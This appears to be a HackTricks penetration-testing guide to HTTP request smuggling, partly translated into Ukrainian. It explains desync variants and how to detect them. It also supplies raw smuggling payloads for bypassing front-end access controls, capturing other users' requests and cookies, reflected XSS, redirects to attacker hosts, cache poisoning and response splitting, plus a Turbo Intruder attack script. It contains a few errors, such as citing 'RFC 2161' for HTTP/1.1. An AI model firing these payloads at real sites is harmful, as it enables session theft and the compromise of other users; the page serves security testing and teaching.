HTTP Request Smuggling / HTTP Desync Attack

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

What is

This vulnerability occurs when a desyncronization between front-end proxies and the back-end server allows an attacker to send an HTTP request that will be interpreted as a single request by the front-end proxies (load balance/reverse-proxy) and as 2 request by the back-end server.
This allows a user to modify the next request that arrives to the back-end server after his.

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Reality

The Front-End (a load-balance / Reverse Proxy) process the content-length or the transfer-encoding header and the Back-end server process the other one provoking a desyncronization between the 2 systems.
This could be very critical as an attacker will be able to send one request to the reverse proxy that will be interpreted by the back-end server as 2 different requests. The danger of this technique resides in the fact the back-end server will interpret the 2nd request injected as if it came from the next client and the real request of that client will be part of the injected request.

Particularities

Remember that in HTTP a new line character is composed by 2 bytes:

  • Content-Length: This header uses a decimal number to indicate the number of bytes of the body of the request. The body is expected to end in the last character, a new line is not needed in the end of the request.
  • Transfer-Encoding: This header uses in the body an hexadecimal number to indicate the number of bytes of the next chunk. The chunk must end with a new line but this new line isn’t counted by the length indicator. This transfer method must end with a chunk of size 0 followed by 2 new lines: 0
  • Connection: Based on my experience it’s recommended to use Connection: keep-alive on the first request of the request Smuggling.

Visible - Hidden

The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it’s possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems).

This blog post proposes new ways to detect desync attacks to a system that won’t be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.

For example, sending a request with the normal host header and a “ host“ header, if the backend complains about this request (maybe becasue the value of “ host“ is incorrect) it possible means that the front-end didn’t see about the “ host“ header while the final backend did use it, higly probale implaying a desync between front-end and backend.

This would be a Hidden-Visible discrepancy.

If the front-end would have taken into account the “ host“ header but the front-end didn’t, this could have been a Visible-Hidden situation.

For example, this allowed to discover desyncs between AWS ALB as front-end and IIS as the backend. This was because when the “Host: foo/bar” was sent, the ALB returned 400, Server; awselb/2.0, but when “Host : foo/bar” was sent, it returned 400, Server: Microsoft-HTTPAPI/2.0, indicating the backend was sending the response. This is a Hidden-Vissible (H-V) situation.

Note that this situation is not corrected in the AWS, but it can be prevented setting routing.http.drop_invalid_header_fields.enabled and routing.http.desync_mitigation_mode = strictest.

Basic Examples

Tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the Content-Length (CL) and Transfer-Encoding (TE) headers. These attacks can manifest in different forms, primarily as CL.TE, TE.CL, and TE.TE. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Processes the request based on the Content-Length header.

  • Back-End (TE): Processes the request based on the Transfer-Encoding header.

  • Attack Scenario:

  • The attacker sends a request where the Content-Length header’s value does not match the actual content length.

  • The front-end server forwards the entire request to the back-end, based on the Content-Length value.

  • The back-end server processes the request as chunked due to the Transfer-Encoding: chunked header, interpreting the remaining data as a separate, subsequent request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Processes the request based on the Transfer-Encoding header.

  • Back-End (CL): Processes the request based on the Content-Length header.

  • Attack Scenario:

  • The attacker sends a chunked request where the chunk size (7b) and actual content length (Content-Length: 4) do not align.

  • The front-end server, honoring Transfer-Encoding, forwards the entire request to the back-end.

  • The back-end server, respecting Content-Length, processes only the initial part of the request (7b bytes), leaving the rest as part of an unintended subsequent request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Both support Transfer-Encoding, but one can be tricked into ignoring it via obfuscation.

  • Attack Scenario:

  • The attacker sends a request with obfuscated Transfer-Encoding headers.

  • Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.

  • The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Both servers process the request based solely on the Content-Length header.
  • This scenario typically does not lead to smuggling, as there’s alignment in how both servers interpret the request length.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Refers to scenarios where the Content-Length header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the Content-Length header (which is treated as 0), but the front-end parses it.
  • It’s crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Like the previous one but using TE
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenario

У 0.CL ситуації request надсилається з Content-Length, як-от:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

А front-end не враховує Content-Length, тому надсилає до backend лише перший request (до 7 у прикладі). Однак backend бачить Content-Length і чекає body, яке ніколи не надходить, бо front-end уже чекає response.

Проте, якщо є request, який можна надіслати до backend і на який буде response ще до отримання body цього request, цей deadlock не станеться. В IIS, наприклад, це трапляється при надсиланні request до forbidden words, як-от /con (див. documentation), таким чином початковий request буде одразу отримано у response, а другий request міститиме request жертви, наприклад:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Це корисно, щоб викликати desync, але до цього моменту це не матиме жодного впливу.

Однак у пості пропонується рішення для цього шляхом перетворення 0.CL attack into a CL.0 with a double desync.

Breaking the web server

Ця technique також корисна в сценаріях, де можна зламати web server під час читання початкових HTTP даних, але без закриття з’єднання. У такий спосіб body HTTP request буде вважатися наступним HTTP request.

Наприклад, як пояснено в this writeup, у Werkzeug можна було надіслати деякі Unicode символи, і це змушувало server break. Однак, якщо HTTP connection було створено з header Connection: keep-alive, body request не буде прочитано, і connection залишатиметься відкритим, тож body request буде оброблено як наступний HTTP request.

Forcing via hop-by-hop headers

Зловживаючи hop-by-hop headers, можна було б вказати proxy видалити header Content-Length або Transfer-Encoding, щоб HTTP request smuggling можна було використати.

Connection: Content-Length

Для more information about hop-by-hop headers visit:

hop-by-hop headers

Finding HTTP Request Smuggling

Виявлення вразливостей HTTP request smuggling часто можна досягти за допомогою timing techniques, які ґрунтуються на спостереженні за тим, скільки часу потрібно серверу, щоб відповісти на змінені запити. Ці техніки особливо корисні для виявлення вразливостей CL.TE і TE.CL. Окрім цих методів, існують і інші стратегії та інструменти, які можна використати для пошуку таких вразливостей:

Finding CL.TE Vulnerabilities Using Timing Techniques

  • Method:

  • Надішліть запит, який, якщо application вразливий, змусить back-end server чекати на додаткові дані.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation:

  • Front-end server обробляє запит на основі Content-Length і передчасно обриває message.

  • Back-end server, очікуючи chunked message, чекає на наступний chunk, який так і не надходить, що спричиняє затримку.

  • Indicators:

  • Timeouts або довгі затримки у відповіді.

  • Отримання помилки 400 Bad Request від back-end server, іноді з детальною server information.

Finding TE.CL Vulnerabilities Using Timing Techniques

  • Method:

  • Надішліть запит, який, якщо application вразливий, змусить back-end server чекати на додаткові дані.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • Front-end server обробляє запит на основі Transfer-Encoding і пересилає весь message.
  • Back-end server, очікуючи message на основі Content-Length, чекає на додаткові дані, які так і не надходять, що спричиняє затримку.

Other Methods to Find Vulnerabilities

  • Differential Response Analysis:
  • Надсилайте злегка варіативні версії запиту й спостерігайте, чи відрізняються відповіді server у несподіваний спосіб, що вказує на розбіжність у parsing.
  • Using Automated Tools:
  • Інструменти на кшталт розширення Burp Suite ‘HTTP Request Smuggler’ можуть автоматично перевіряти ці вразливості, надсилаючи різні форми неоднозначних запитів і аналізуючи відповіді.
  • Content-Length Variance Tests:
  • Надсилайте запити зі змінними значеннями Content-Length, які не узгоджуються з фактичною довжиною content, і спостерігайте, як server обробляє такі невідповідності.
  • Transfer-Encoding Variance Tests:
  • Надсилайте запити з obfuscated або malformed Transfer-Encoding headers і стежте, як по-різному front-end і back-end servers реагують на такі маніпуляції.

The Expect: 100-continue header

Перевірте, як цей header може допомогти експлуатувати http desync у:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Після підтвердження ефективності timing techniques, критично важливо перевірити, чи можна маніпулювати client requests. Простий метод — спробувати poison ваші requests, наприклад, змусити запит до / повертати 404 response. Приклади CL.TE і TE.CL, обговорені раніше в Basic Examples, демонструють, як можна poison client request, щоб отримати 404 response, хоча client намагається звернутися до іншого resource.

Key Considerations

Під час тестування на request smuggling vulnerabilities шляхом втручання в інші requests, пам’ятайте:

  • Distinct Network Connections: “attack” і “normal” requests слід надсилати через окремі network connections. Використання одного й того ж connection для обох не підтверджує наявність vulnerability.
  • Consistent URL and Parameters: Намагайтеся використовувати однакові URLs і names parameters для обох requests. Modern applications часто маршрутизують requests до конкретних back-end servers на основі URL і parameters. Збіг цих параметрів підвищує ймовірність того, що обидва requests обробить той самий server, що є необхідною умовою успішної attack.
  • Timing and Racing Conditions: “normal” request, призначений для виявлення впливу з боку “attack” request, змагається з іншими одночасними application requests. Тому надсилайте “normal” request одразу після “attack” request. Для завантажених applications може знадобитися кілька спроб, щоб остаточно підтвердити vulnerability.
  • Load Balancing Challenges: Front-end servers, що працюють як load balancers, можуть розподіляти requests між різними back-end systems. Якщо “attack” і “normal” requests потраплять на різні systems, attack не спрацює. Через цей load balancing може знадобитися кілька спроб для підтвердження vulnerability.
  • Unintended User Impact: Якщо ваш attack ненавмисно впливає на request іншого user (а не на “normal” request, який ви надіслали для виявлення), це означає, що ваш attack вплинув на іншого application user. Безперервне тестування може порушити роботу інших users, тому потрібен обережний підхід.

Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling

Connection reuse (keep-alive) і pipelining можуть легко створювати ілюзії “smuggling” в testing tools, які надсилають multiple requests on the same socket. Навчіться відрізняти безпечні client-side artifacts від справжнього server-side desync.

Why pipelining creates classic false positives

HTTP/1.1 повторно використовує одне TCP/TLS connection і об’єднує requests та responses в одному stream. У pipelining client надсилає multiple requests підряд і покладається на responses в порядку надходження. Типовий false-positive — повторно надіслати malformed CL.0-style payload двічі в одному connection:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Відповіді можуть виглядати так:

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Якщо сервер ігнорував некоректний Content_Length, то немає FE↔BE desync. За повторного використання ваш клієнт фактично надіслав цей byte-stream, який сервер розібрав як два незалежні requests:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Вплив: none. Ви просто десинхронізували свій client від server framing.

Tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” or “Enable connection reuse”.

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid “Send group in sequence”.
  • In Turbo Intruder, set requestsPerConnection=1 and pipeline=False.
  • If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
  1. HTTP/2 nested-response check
  • Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
  1. Partial-requests probe for connection-locked front-ends
  • Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
  • See PortSwigger “Browser‑Powered Desync Attacks” for the connection-locked technique.
  1. State probes
  • Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
  • Burp “HTTP Request Smuggler” includes a connection‑state probe that automates this.
  1. Visualize the wire
  • Use the Burp “HTTP Hacker” extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.

Connection‑locked request smuggling (reuse-required)

Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:

  • Prove the server-side bug
  • Use the HTTP/2 nested-response check, or
  • Use partial-requests to show the FE only reuses upstream when the client does.
  • Show real impact even if direct cross-user socket abuse is blocked:
  • Cache poisoning: poison shared caches via the desync so responses affect other users.
  • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods past the front-end.
  • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Operator workflow
  • Reproduce with controlled reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → “Send group in sequence (single connection)”).
  • Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
  • “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precise control over connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

Note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.

Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

У атаці CL.TE заголовок Content-Length використовується для початкового запиту, тоді як наступний вкладений запит використовує заголовок Transfer-Encoding: chunked. Front-end proxy обробляє початковий POST request, але не перевіряє вкладений GET /admin request, що дозволяє неавторизований доступ до шляху /admin.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Навпаки, в атаці TE.CL початковий POST request використовує Transfer-Encoding: chunked, а подальший вбудований request обробляється на основі Content-Length header. Подібно до атаки CL.TE, front-end proxy ігнорує прихований GET /admin request, ненавмисно надаючи доступ до обмеженого шляху /admin.

Розкриття переписування request на front-end

Applications often employ a front-end server to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as X-Forwarded-For: <IP of the client>, to relay the client’s IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to bypass protections or uncover concealed information or endpoints.

To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

У цій структурі наступні компоненти request додаються після search=, який є параметром, відображеним у response. Це відображення покаже headers наступного request.

Важливо вирівняти Content-Length header вкладеного request із фактичною довжиною content. Рекомендується починати з малого значення та поступово збільшувати його, оскільки занадто мале значення призведе до обрізання відображених даних, а занадто велике значення може спричинити помилку request.

Ця technique також застосовна в контексті TE.CL vulnerability, але request повинен завершуватися на search=\r\n0. Незалежно від символів нового рядка, значення буде додаватися до параметра search.

Цей метод насамперед служить для розуміння модифікацій request, які вносить front-end proxy, по суті виконуючи самостійне дослідження.

Capturing other users’ requests

Можна перехопити requests наступного user, додавши specific request як value параметра під час POST operation. Ось як це можна зробити:

Додаючи наступний request як value параметра, ви можете зберегти subsequent client’s request:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

У цьому сценарії параметр comment parameter призначений для збереження вмісту всередині розділу коментарів публічно доступної сторінки. Відповідно, вміст наступного запиту з’явиться як коментар.

Однак цей technique має обмеження. Зазвичай він захоплює дані лише до роздільника параметра, який використовується в smuggled request. Для URL-encoded form submissions цим роздільником є символ &. Це означає, що захоплений вміст із запиту жертви зупиниться на першому &, який навіть може бути частиною query string.

Крім того, варто зазначити, що цей підхід також є придатним за наявності TE.CL vulnerability. У таких випадках запит має завершуватися search=\r\n0. Незалежно від newline characters, значення будуть додані до параметра search.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling можна використати для exploitation вебсторінок, уразливих до Reflected XSS, що дає суттєві переваги:

  • Взаємодія з target users не потрібна.
  • Дозволяє exploitation XSS у частинах запиту, які зазвичай недосяжні, як-от HTTP request headers.

У сценаріях, коли вебсайт сприйнятливий до Reflected XSS через заголовок User-Agent, наведений нижче payload демонструє, як експлуатувати цю vulnerability:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Цей payload структуровано так, щоб експлуатувати вразливість через:

  1. Ініціювання POST request, що здається типовим, з Transfer-Encoding: chunked header, щоб позначити початок smuggling.
  2. Далі йде 0, що позначає кінець chunked message body.
  3. Потім додається smuggled GET request, де в User-Agent header інжектиться script, <script>alert(1)</script>, який викликає XSS, коли server обробляє цей наступний request.

Маніпулюючи User-Agent через smuggling, payload обходить звичайні обмеження request, таким чином експлуатуючи Reflected XSS vulnerability у нестандартний, але ефективний спосіб.

HTTP/0.9

Caution

У разі, якщо user content відображається у response з Content-type таким як text/plain, це запобігає виконанню XSS. Якщо server підтримує HTTP/0.9, можливо, це можна обійти!

Версія HTTP/0.9 існувала до 1.0 і використовує лише GET verbs та не відповідає headers, лише body.

У цьому writeup, це було використано через request smuggling і vulnerable endpoint that will reply with the input of the user для smuggle request з HTTP/0.9. Параметр, який відображався у response, містив fake HTTP/1.1 response (with headers and body), тож response міститиме валідний executable JS code з Content-Type of text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Applications often redirect from one URL to another by using the hostname from the Host header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:

GET /home HTTP/1.1
Host: normal-website.com

Результати в:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Хоча це здається нешкідливим, цю поведінку можна маніпулювати за допомогою HTTP request smuggling, щоб перенаправляти користувачів на зовнішній сайт. Наприклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Цей smuggled request може призвести до того, що наступний оброблений user request буде перенаправлено на website, контрольований attacker-ом:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Результати в:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

У цьому сценарії запит користувача на JavaScript file перехоплюється. Attacker потенційно може compromise користувача, віддаючи malicious JavaScript у відповідь.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning може бути виконано, якщо будь-який компонент front-end infrastructure caches content, зазвичай для підвищення performance. Маніпулюючи server response, можна poison the cache.

Раніше ми бачили, як server responses можна було змінити так, щоб вони повертали 404 error (див. Basic Examples). Так само можна обманути server, змусивши його віддавати /index.html content у відповідь на request до /static/include.js. У результаті content /static/include.js замінюється в cache на content /index.html, через що /static/include.js стає недоступним для users, що потенційно призводить до Denial of Service (DoS).

Ця technique стає особливо потужною, якщо виявлено Open Redirect vulnerability або якщо є on-site redirect to an open redirect. Такі vulnerabilities можна використати, щоб замінити cached content /static/include.js на script під контролем attacker, фактично даючи змогу провести масовану Cross-Site Scripting (XSS) attack проти всіх clients, які запитують оновлений /static/include.js.

Нижче наведено ілюстрацію exploitation cache poisoning combined with an on-site redirect to open redirect. Мета — змінити cache content /static/include.js, щоб він віддавав JavaScript code, контрольований attacker:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Зверніть увагу на вбудований request, що націлений на /post/next?postId=3. Цей request буде перенаправлено на /post?postId=4, використовуючи значення Host header для визначення домену. Змінюючи Host header, attacker може перенаправити request на свій домен (on-site redirect to open redirect).

Після успішного socket poisoning слід ініціювати GET request для /static/include.js. Цей request буде забруднений попереднім on-site redirect to open redirect request і отримає content script, контрольованого attacker.

Після цього будь-який request до /static/include.js буде віддавати cached content script attacker, фактично запускаючи широкий XSS attack.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

  • У web cache poisoning attacker змушує application зберегти шкідливий content у cache, і цей content віддається з cache іншим application users.
  • У web cache deception attacker змушує application зберегти sensitive content, що належить іншому user, у cache, а потім attacker отримує цей content з cache.

Attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Якщо цей smuggled request отруює cache entry, призначений для static content (наприклад, /someimage.png), sensitive data жертви з /private/messages може бути cached під cache entry static content. У результаті attacker може потенційно retrieve ці cached sensitive data.

Abusing TRACE via HTTP Request Smuggling

In this post suggested, що якщо на server увімкнено method TRACE, його може бути possible abuse with a HTTP Request Smuggling. Це тому, що цей method буде reflect any header sent to the server as part of the body of the response. For example:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Надішлю відповідь на кшталт:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Приклад того, як зловживати цією поведінкою, — спочатку просмокати HEAD request. На цей request буде надіслано відповідь лише з headers GET request (Content-Type серед них). А одразу після HEAD просмокати TRACE request, який буде віддзеркалювати надіслані дані.
Оскільки response на HEAD міститиме header Content-Length, response на TRACE request буде трактовано як body response на HEAD, отже віддзеркалюючи довільні дані у response.
Цей response буде надіслано до next request over the connection, тож це можна використати, наприклад, у cached JS file, щоб inject довільний JS code.

Abusing TRACE via HTTP Response Splitting

Продовжуючи цей post, пропонується інший спосіб зловживати методом TRACE. Як зазначено, просмокавши HEAD request і TRACE request, можна контролювати деякі reflected data у response на HEAD request. Довжина body HEAD request, по суті, вказується в header Content-Length і формується response на TRACE request.

Тому нова ідея полягає в тому, що, знаючи цей Content-Length і дані, надані в TRACE response, можна змусити TRACE response містити valid HTTP response після останнього byte Content-Length, що дає attacker змогу повністю контролювати request до next response (це можна використати для cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Will generate these responses (note how the HEAD response has a Content-Length making the TRACE response part of the HEAD body and once the HEAD Content-Length ends a valid HTTP response is smuggled):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation

Ви знайшли вразливість HTTP Request Smuggling і не знаєте, як її експлуатувати. Спробуйте інші методи експлуатації:

HTTP Response Smuggling / Desync

Other HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

